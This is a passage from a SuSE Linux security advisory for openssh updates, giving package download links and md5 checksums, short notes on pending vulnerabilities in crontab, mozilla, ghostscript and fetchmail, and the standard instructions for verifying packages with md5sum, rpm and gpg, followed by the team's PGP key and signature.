ftp://ftp.suse.de/pub/suse/i386/update/6.4/zq1/openssh-2.9.9p2-100.src.rpm 4f0fb935353b25560e155a8e0853b728 Sparc Platform: SuSE-7.3 ftp://ftp.suse.com/pub/suse/sparc/update/7.3/sec1/openssh-2.9.9p2-39.sparc.… 804425b14c394ed1a645602257a0f412 source rpm: ftp://ftp.suse.com/pub/suse/sparc/update/7.3/zq1/openssh-2.9.9p2-39.src.rpm 6eea48b1f6aef53a755938bcd7306378 SuSE-7.1 ftp://ftp.suse.com/pub/suse/sparc/update/7.1/sec1/openssh-2.9.9p2-38.sparc.… 25979bd61822c84c4c3275cc99b5e386 source rpm: ftp://ftp.suse.com/pub/suse/sparc/update/7.1/zq1/openssh-2.9.9p2-38.src.rpm d1228bb5e26d69eedbf061646a67271c SuSE-7.0 ftp://ftp.suse.de/pub/suse/sparc/update/7.0/sec1/openssh-2.9.9p2-37.sparc.rpm 3d3a4e3cf0bd0768fa00460f52ed8d89 source rpm: ftp://ftp.suse.de/pub/suse/sparc/update/7.0/zq1/openssh-2.9.9p2-37.src.rpm c2b869d59828ea318323bea708b87975 AXP Alpha Platform: SuSE-7.1 ftp://ftp.suse.com/pub/suse/axp/update/7.1/sec1/openssh-2.9.9p2-42.alpha.rpm 92447fd373aab8e8c0265f5b17202ebd source rpm: ftp://ftp.suse.com/pub/suse/axp/update/7.1/zq1/openssh-2.9.9p2-42.src.rpm 755bb8485731155878efb56b621f9b1d SuSE-7.0 ftp://ftp.suse.de/pub/suse/axp/update/7.0/sec1/openssh-2.9.9p2-41.alpha.rpm ecbd5a39d693263985a3714c726beb90 source rpm: ftp://ftp.suse.de/pub/suse/axp/update/7.0/zq1/openssh-2.9.9p2-41.src.rpm 67f9fcbe7ae123d9ba91a652f17a6d4d SuSE-6.4 ftp://ftp.suse.de/pub/suse/axp/update/6.4/sec1/openssh-2.9.9p2-41.alpha.rpm 6b2336c4e0f0f41b1e853d1c99e99b51 source rpm: ftp://ftp.suse.de/pub/suse/axp/update/6.4/zq1/openssh-2.9.9p2-41.src.rpm 78f6cd253479161a582e1edbb490059e PPC Power PC Platform: SuSE-7.3 ftp://ftp.suse.com/pub/suse/ppc/update/7.3/sec1/openssh-2.9.9p2-72.ppc.rpm e13ed7cfe9fea868560435c34cba3b56 source rpm: ftp://ftp.suse.com/pub/suse/ppc/update/7.3/zq1/openssh-2.9.9p2-72.src.rpm fd9f91dda0207c62173a71f40bcf4228 SuSE-7.1 ftp://ftp.suse.com/pub/suse/ppc/update/7.1/sec1/openssh-2.9.9p2-72.ppc.rpm 354f6776649dc90ab4c58370f036fa3e source rpm: ftp://ftp.suse.com/pub/suse/ppc/update/7.1/zq1/openssh-2.9.9p2-72.src.rpm 2e43d0ad97204214d85f500f445af7f5 SuSE-7.0 ftp://ftp.suse.de/pub/suse/ppc/update/7.0/sec1/openssh-2.9.9p2-71.ppc.rpm 7f0020f1443292d6f74740e7c306e50f source rpm: ftp://ftp.suse.de/pub/suse/ppc/update/7.0/zq1/openssh-2.9.9p2-71.src.rpm adc52fb1be19f8d7f87ac2c1bf425b60 SuSE-6.4 ftp://ftp.suse.de/pub/suse/ppc/update/6.4/sec1/openssh-2.9.9p2-71.ppc.rpm d3e150e0f3bdd04a6ab8b9c47d43f005 source rpm: ftp://ftp.suse.de/pub/suse/ppc/update/6.4/zq1/openssh-2.9.9p2-71.src.rpm d4fc34b96fb2b19929834260d43efef5 ______________________________________________________________________________ 2) Pending vulnerabilities in SuSE Distributions and Workarounds: - We are investigating if recently found weaknesses in resolver libraries on BSD systems affect the SuSE Linux glibc as well. - crontab/cron Paul Starzetz found a small bug in crontab that allows a local user to read the contents of the (read-protected) file /var/spool/cron/deny due to an inherited file descriptor from the crontab command that runs the editor to change the user's crontab. We will fix this problem in future releases, but due to the minor severity of the bug we don't provide update packages. - mozilla Cross-dependencies between mozilla and other packages in SuSE Linux products keep us from providing version upgrades for the mozilla packages. Fixing security bugs in our packages is usually done by adding the necessary patches to the existing version to ensure the compatibility and consistency that is expected from our products. In some cases (as with the mozilla package) the complexity of the issue does not allow to add patches any more. By consequence, security related issues in mozilla cannot be addressed. As a service to our user community, we provide packages of newer mozilla versions at ftp://ftp.suse.com/pub/projects/mozilla/. These packages have been verified to run fine; they are not located in the update directory of the distribution in question because we cannot make any claims about the compatibility with the other packages in the product. Security-aware users are encouraged to install the packages from the projects/ directory. - ghostscript RedHat released a security announcement concerning a problem in ghostscript, which could be exploited to gain privilege of the print server user. We are investigating whether SuSE Linux is affected. - fetchmail we are in the process of releasing a security update for fetchmail that corrects a vulnerability that could be exploited by hostile mail servers. ______________________________________________________________________________ 3) standard appendix: authenticity verification, additional information - Package authenticity verification: SuSE update packages are available on many mirror ftp servers all over the world. While this service is being considered valuable and important to the free and open source software community, many users wish to be sure about the origin of the package and its content before installing the package. There are two verification methods that can be used independently from each other to prove the authenticity of a downloaded file or rpm package: 1) md5sums as provided in the (cryptographically signed) announcement. 2) using the internal gpg signatures of the rpm package. 1) execute the command md5sum <name-of-the-file.rpm> after you downloaded the file from a SuSE ftp server or its mirrors. Then, compare the resulting md5sum with the one that is listed in the announcement. Since the announcement containing the checksums is cryptographically signed (usually using the key security(a)suse.de) the checksums show proof of the authenticity of the package. We disrecommend to subscribe to security lists which cause the email message containing the announcement to be modified so that the signature does not match after transport through the mailing list software. Downsides: You must be able to verify the authenticity of the announcement in the first place. If RPM packages are being rebuilt and a new version of a package is published on the ftp server, all md5 sums for the files are useless. 2) rpm package signatures provide an easy way to verify the authenticity of an rpm package. Use the command rpm -v --checksig <file.rpm> to verify the signature of the package, where <file.rpm> is the filename of the rpm package that you have downloaded. Of course, package authenticity verification can only target an uninstalled rpm package file. Prerequisites: a) gpg is installed b) The package is signed using a certain key. The public part of this key must be installed by the gpg program in the directory ~/.gnupg/ under the user's home directory who performs the signature verification (usually root). You can import the key that is used by SuSE in rpm packages for SuSE Linux by saving this announcement to a file ("announcement.txt") and running the command (do "su -" to be root): gpg --batch; gpg < announcement.txt | gpg --import SuSE Linux distributions version 7.1 and thereafter install the key "build(a)suse.de" upon installation or upgrade, provided that the package gpg is installed. The file containing the public key is placed at the toplevel directory of the first CD (pubring.gpg) and at ftp://ftp.suse.com/pub/suse/pubring.gpg-build.suse.de . - SuSE runs two security mailing lists to which any interested party may subscribe: suse-security(a)suse.com - general/linux/SuSE security discussion. All SuSE security announcements are sent to this list. To subscribe, send an email to <suse-security-subscribe(a)suse.com>. suse-security-announce(a)suse.com - SuSE's announce-only mailing list. Only SuSE's security annoucements are sent to this list. To subscribe, send an email to <suse-security-announce-subscribe(a)suse.com>. For general information or the frequently asked questions (faq) send mail to: <suse-security-info(a)suse.com> or <suse-security-faq(a)suse.com> respectively. ===================================================================== SuSE's security contact is <security(a)suse.com> or <security(a)suse.de>. The <security(a)suse.de> public key is listed below. ===================================================================== ______________________________________________________________________________ The information in this advisory may be distributed or reproduced, provided that the advisory is not modified in any way. In particular, it is desired that the cleartext signature shows proof of the authenticity of the text. SuSE GmbH makes no warranties of any kind whatsoever with respect to the information contained in this security advisory. Type Bits/KeyID Date User ID pub 2048R/3D25D3D9 1999-03-06 SuSE Security Team <security(a)suse.de> pub 1024D/9C800ACA 2000-10-19 SuSE Package Signing Key <build(a)suse.de> - -----BEGIN PGP PUBLIC KEY BLOCK----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org mQGiBDnu9IERBACT8Y35+2vv4MGVKiLEMOl9GdST6MCkYS3yEKeueNWc+z/0Kvff 4JctBsgs47tjmiI9sl0eHjm3gTR8rItXMN6sJEUHWzDP+Y0PFPboMvKx0FXl/A0d M+HFrruCgBlWt6FA+okRySQiliuI5phwqkXefl9AhkwR8xocQSVCFxcwvwCglVcO QliHu8jwRQHxlRE0tkwQQI0D+wfQwKdvhDplxHJ5nf7U8c/yE/vdvpN6lF0tmFrK XBUX+K7u4ifrZlQvj/81M4INjtXreqDiJtr99Rs6xa0ScZqITuZC4CWxJa9GynBE D3+D2t1V/f8l0smsuYoFOF7Ib49IkTdbtwAThlZp8bEhELBeGaPdNCcmfZ66rKUd G5sRA/9ovnc1krSQF2+sqB9/o7w5/q2qiyzwOSTnkjtBUVKn4zLUOf6aeBAoV6NM CC3Kj9aZHfA+ND0ehPaVGJgjaVNFhPi4x0e7BULdvgOoAqajLfvkURHAeSsxXIoE myW/xC1sBbDkDUIBSx5oej73XCZgnj/inphRqGpsb+1nKFvF+rQoU3VTRSBQYWNr YWdlIFNpZ25pbmcgS2V5IDxidWlsZEBzdXNlLmRlPohcBBMRAgAcBQI57vSBBQkD wmcABAsKAwQDFQMCAxYCAQIXgAAKCRCoTtronIAKyl8sAJ98BgD40zw0GHJHIf6d NfnwI2PAsgCgjH1+PnYEl7TFjtZsqhezX7vZvYCIRgQQEQIABgUCOnBeUgAKCRCe QOMQAAqrpNzOAKCL512FZvv4VZx94TpbA9lxyoAejACeOO1HIbActAevk5MUBhNe LZa/qM2JARUDBRA6cGBvd7LmAD0l09kBATWnB/9An5vfiUUE1VQnt+T/EYklES3t XXaJJp9pHMa4fzFa8jPVtv5UBHGee3XoUNDVwM2OgSEISZxbzdXGnqIlcT08TzBU D9i579uifklLsnr35SJDZ6ram51/CWOnnaVhUzneOA9gTPSr+/fT3WeVnwJiQCQ3 0kNLWVXWATMnsnT486eAOlT6UNBPYQLpUprF5Yryk23pQUPAgJENDEqeU6iIO9Ot 1ZPtB0lniw+/xCi13D360o1tZDYOp0hHHJN3D3EN8C1yPqZd5CvvznYvB6bWBIpW cRgdn2DUVMmpU661jwqGlRz1F84JG/xe4jGuzgpJt9IXSzyohEJB6XG5+D0BiF0E ExECAB0FAjxqqTQFCQoAgrMFCwcKAwQDFQMCAxYCAQIXgAAKCRCoTtronIAKyp1f AJ9dR7saz2KPNwD3U+fy/0BDKXrYGACfbJ8fQcJqCBQxeHvt9yMPDVq0B0W5Ag0E Oe70khAIAISR0E3ozF/la+oNaRwxHLrCet30NgnxRROYhPaJB/Tu1FQokn2/Qld/ HZnh3TwhBIw1FqrhWBJ7491iAjLR9uPbdWJrn+A7t8kSkPaF3Z/6kyc5a8fas44h t5h+6HMBzoFCMAq2aBHQRFRNp9Mz1ZvoXXcI1lk1l8OqcUM/ovXbDfPcXsUVeTPT tGzcAi2jVl9hl3iwJKkyv/RLmcusdsi8YunbvWGFAF5GaagYQo7YlF6UaBQnYJTM 523AMgpPQtsKm9o/w9WdgXkgWhgkhZEeqUS3m5xNey1nLu9iMvq9M/iXnGz4sg6Q 2Y+GqZ+yAvNWjRRou3zSE7Bzg28MI4sAAwYH/2D71Xc5HPDgu87WnBFgmp8MpSr8 QnSs0wwPg3xEullGEocolSb2c0ctuSyeVnCttJMzkukL9TqyF4s/6XRstWirSWaw JxRLKH6Zjo/FaKsshYKf8gBkAaddvpl3pO0gmUYbqmpQ3xDEYlhCeieXS5MkockQ 1sj2xYdB1xO0ExzfiCiscUKjUFy+mdzUsUutafuZ+gbHog1CN/ccZCkxcBa5IFCH ORrNjq9pYWlrxsEn6ApsG7JJbM2besW1PkdEoxak74z1senh36m5jQvVjA3U4xq1 wwylxadmmJaJHzeiLfb7G1ZRjZTsB7fyYxqDzMVul6o9BSwO/1XsIAnV1uuITAQY EQIADAUCOe70kgUJA8JnAAAKCRCoTtronIAKyksiAJsFB3/77SkH3JlYOGrEe1Ol 0JdGwACeKTttgeVPFB+iGJdiwQlxasOfuXyITAQYEQIADAUCPGqpWQUJCgCCxwAK CRCoTtronIAKyofBAKCSZM2UFyta/fe9WgITK9I5hbxxtQCfX+0ar2CZmSknn3co SPihn1+OBNyZAQ0DNuEtBAAAAQgAoCRcd7SVZEFcumffyEwfLTcXQjhKzOahzxpo omuF+HIyU4AGq+SU8sTZ/1SsjhdzzrSAfv1lETACA+3SmLr5KV40Us1w0UC64cwt A46xowVq1vMlH2Lib+V/qr3b1hE67nMHjysECVx9Ob4gFuKNoR2eqnAaJvjnAT8J /LoUC20EdCHUqn6v+M9t/WZgC+WNR8cq69uDy3YQhDP/nIan6fm2uf2kSV9A7ZxE GrwsWl/WX5Q/sQqMWaU6r4az98X3z90/cN+eJJ3vwtA+rm+nxEvyev+jaLuOQBDf ebh/XA4FZ35xmi+spdiVeJH4F/ubaGlmj7+wDOF3suYAPSXT2QAFEbQlU3VTRSBT ZWN1cml0eSBUZWFtIDxzZWN1cml0eUBzdXNlLmRlPokBFQMFEDbhLUfkWLKHsco8 RQEBVw4H/1vIdiOLX/7hdzYaG9crQVIk3QwaB5eBbjvLEMvuCZHiY2COUg5QdmPQ 8SlWNZ6k4nu1BLcv2g/pymPUWP9fG4tuSnlUJDrWGm3nhyhAC9iudP2u1YQY37Gb B6NPVaZiYMnEb4QYFcqv5c/r2ghSXUTYk7etd6SW6WCOpEqizhx1cqDKNZnsI/1X 11pFcO2N7rc6byDBJ1T+cK+F1Ehan9XBt/shryJmv04nli5CXQMEbiqYYMOu8iaA 8AWRgXPCWqhyGhcVD3LRhUJXjUOdH4ZiHCXaoF3zVPxpeGKEQY8iBrDeDyB3wHmj qY9WCX6cmogGQRgYG6yJqDalLqrDOdmJARUDBRA24S0Ed7LmAD0l09kBAW04B/4p WH3f1vQn3i6/+SmDjGzUu2GWGq6Fsdwo2hVM2ym6CILeow/K9JfhdwGvY8LRxWRL hn09j2IJ9P7H1Yz3qDf10AX6V7YILHtchKT1dcngCkTLmDgC4rs1iAAl3f089sRG BafGPGKv2DQjHfR1LfRtbf0P7c09Tkej1MP8HtQMW9hPkBYeXcwbCjdrVGFOzqx+ AvvJDdT6a+oyRMTFlvmZ83UV5pgoyimgjhWnM1V4bFBYjPrtWMkdXJSUXbR6Q7Pi RZWCzGRzwbaxqpl3rK/YTCphOLwEMB27B4/fcqtBzgoMOiaZA0M5fFoo54KgRIh0 zinsSx2OrWgvSiLEXXYKiEYEEBECAAYFAjseYcMACgkQnkDjEAAKq6ROVACgjhDM /3KM+iFjs5QXsnd4oFPOnbkAnjYGa1J3em+bmV2aiCdYXdOuGn4ZiQCVAwUQN7c7 whaQN/7O/JIVAQEB+QP/cYblSAmPXxSFiaHWB+MiUNw8B6ozBLK0QcMQ2YcL6+Vl D+nSZP20+Ja2nfiKjnibCv5ss83yXoHkYk2Rsa8foz6Y7tHwuPiccvqnIC/c9Cvz dbIsdxpfsi0qWPfvX/jLMpXqqnPjdIZErgxpwujas1n9016PuXA8K3MJwVjCqSKI RgQQEQIABgUCOhpCpAAKCRDHUqoysN/3gCt7AJ9adNQMbmA1iSYcbhtgvx9ByLPI DgCfZ5Wj+f7cnYpFZI6GkAyyczG09sE= =LRKC - -----END PGP PUBLIC KEY BLOCK----- Roman Drahtmüller, SuSE Security. - -- - - | Roman Drahtmüller <draht(a)suse.de> // "You don't need eyes to see, | SuSE Linux AG - Security Phone: // you need vision!" | Nürnberg, Germany +49-911-740530 // Maxi Jazz, Faithless | - - -----BEGIN PGP SIGNATURE----- Version: 2.6.3i Charset: noconv iQEVAwUBPSIGGney5gA9JdPZAQHl+gf7BM1PWXqoxm0B+sghyQu835KburpV2U5Y B8kicZhzsq7V8oRiD7VNcGi/zJknL7kXik6Pv0M0/uvTr26FRQBHYjdrWhua92NH LzaS8DomoCWyOAvQvTvnSmmxp4Mr5sbfUbPAhU1dCbBUQA7glLLOZkcv6hULqgay v/hFjDatmZVDdnrxZsopliwmEGoehFO/CQCLhA6wqlBpdyrylMrWHQsH4ycnPkX+ BFiH7M78vTUNCGUL15FyX3y517T8uBR7TH4QlvQ2HtMkBYFYDxonBtu7f+Ef5H0L B6lLwGDh9G/jX8Xe1JofKpC2wEu57DbXb3VXfd6OTucW+qeW/UXEMw== =CdGW -----END PGP SIGNATURE-----

2 1